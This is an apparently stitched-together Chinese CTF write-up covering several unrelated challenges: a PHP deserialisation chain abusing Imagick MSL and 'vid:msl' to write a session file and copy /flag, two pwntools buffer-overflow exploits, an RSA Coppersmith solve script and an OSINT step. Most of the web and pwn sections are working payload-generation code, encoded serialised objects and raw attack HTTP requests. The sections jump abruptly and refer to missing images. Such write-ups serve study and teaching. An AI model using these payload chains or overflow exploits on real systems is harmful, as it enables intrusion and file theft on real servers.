将饺替换成0,子替换成1,二进制转换字符串得到
下载附件,审计源码
题目开了imagick扩展
再审计源代码,一共有三个功能点:
反序列化
删除/tmp目录下的所有内容(这算是题目的提示了)
高亮当前文件
再看题目给的后门类:
其实这里sink点有两个,一个是readfile读取文件,另一个是
new $a($b)
格式的代码对于
new $a($b)
格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写因此题目的sink点就在readfile了,那么如何触发
__sleep()
魔术方法呢,__sleep
魔术方法会在序列化的时候被调用
所以整个攻击流程如下:
首先把/tmp目录清空:
GET /?cmd=rm HTTP/1.1
Host: 1.1.1.1:49338
再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去
session的内容生成方式如下:
这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径
重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即
9*9
像素,这里的脏数据+序列化数据
的数量需要大于等于3*9*9
且小于等于4*9*9
(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论)
<?php
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$a = new fumo_backdoor();
$a->path = "/tmp/res"; // 复制后的flag路径
$ppmhead = "P6
9 9
255
" ;
$sdata = "|" . serialize($a);
$ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata;
// print($ppm);
print(base64_encode($ppm));
//UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=
有关PPM格式示例文件规范如下(From ChatGPT):
接着触发fumo_backdoor的__wakeup
魔术方法:
<?php
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$a = new fumo_backdoor();
$a->func = array();
$a->argv = "vid:msl:/tmp/php*";
$a->class = "imagick";
echo urlencode(serialize($a));
//O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D
完整的HTTP请求如下:
- 简单理解就是:利用imagick把read那一串的base64解码后存到/tmp/sess_user中
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Content-Length: 697
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKqOZjSj0arlHgpur
Cookie:
------WebKitFormBoundaryKqOZjSj0arlHgpur
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30="/>
<write filename="/tmp/sess_user"/>
</image>
------WebKitFormBoundaryKqOZjSj0arlHgpur--
接着利用Imagick的uyvy协议把/flag复制到/tmp/res中,选择uyvy协议的原因是该协议较为松散,当然用mvg协议也可以,这里推荐使用mvg协议,实测mvg协议可以完整的把/flag内容复制出来,而uyvy协议只能复制第5位开始的字符串(/flag内容如果为flag123123
,复制到/tmp/res内容为123123
)
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Content-Length: 315
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKqOZjSj0arlHgpur
------WebKitFormBoundaryKqOZjSj0arlHgpur
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag"/>
<write filename="/tmp/res"/>
</image>
------WebKitFormBoundaryKqOZjSj0arlHgpur--
接着再反序列化读取文件,这里利用session_start方法启动session,并传入PHPSESSID序列化我们前面传入的/tmp/sess_user内容,触发__sleep魔术方法进而读取文件:
<?php
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$a = new fumo_backdoor();
$a->func = "session_start";
$a->path = "/tmp/res";
echo urlencode(serialize($a));
//O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D
完整的HTTP请求如下:
GET /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Cookie: PHPSESSID=user
读取到flag文件里的内容如下
先把下载下来的文件拖入到ida里分析一下
进入func函数一探究竟
这边分析了一下程序,想要得到flag的话就要使v2=11.28125,只要使v2=11.28125那么程序就能cat flag。
接下来很简单了,既然你有cat flag这行代码。那我也没必要按照你程序走,我只要通过你的gets函数溢出然后覆盖返回地址为cat flag这条语句就行了。
查看v1距离rbp的位置
是0x30.
接下来编写exp就行了。
这是第一种办法比较简单暴力。
第二种办法是跟着程序的想法走,那么我们要使v2=11.28125那么我们要先找到v2的位置。
据我们所知v2位置为rbp-0x4,那么我们要覆盖v2的话就需要从v1距离rbp的位置减去v2距离rbp的位置就是我们实际要覆盖的地址了。也就是0x2c。
但是我们该往要覆盖的地址里填什么呢?总不能直接填11.28125吧?这里就要转换成十六进制才行。
十六进制的话那么我们进ida的汇编里看看在ida的汇编里11.28125是什么?
是0x41348000
看来ida里就有已经转换好的十六进制的11.28125了。
那接下来就可以编写exp了。
下面是exp
第一种:
from pwn import *
p = remote(‘ip’, port)
payload = b’a’ * 0x30 + b’a’ * 8 + p64(0x4006BE)
p.sendline(payload)
p.interactive()
第二种
from pwn import *
p = remote(‘ip’, port)
payload = b’a’ * (0x30 - 0x4) + p64(0x41348000)
p.sendline(payload)
p.interactive()
拿到flag文件后,可以看到有这些内容
经过分析python脚本的内容,可以知道是个加密,并且给了加密结果,下面就来尝试解密
考虑_m_=M+kr,则有
构造模多项式
CopperSmith求解即可
from Crypto.Util.number import *
from gmpy2 import *
r=...
M=...
n=...
e=...
c=...
c2 = powmod(M, 3, n)
a = int((c - c2)*invert(r, n)%n)
PR.<x> = PolynomialRing(Zmod(n))
f = x^3*r^2 + 3*x^2*r*M + 3*x*M^2 - a
f = f.monic()
roots = f.small_roots()
m = M+roots[0]*r
print(long_to_bytes(m))
解出结果为Wzg_yyd5
。下载1.txt中的文件,是个压缩包,发现可以用解出结果打开,得到一个叫红包的文件。用010打开后发现其文件头是zip压缩包,所以直接重命名加个.zip,并且发现其内容是加密的
根据上面的flag内容,猜测应该是国外某个网站,尝试google无果
但提示有提到“死去的蓝色电子宠物”,同时又是国外,因此猜测是twitter
搜索后发现一个账号
在这条推文中就能发现最终的密码
最后~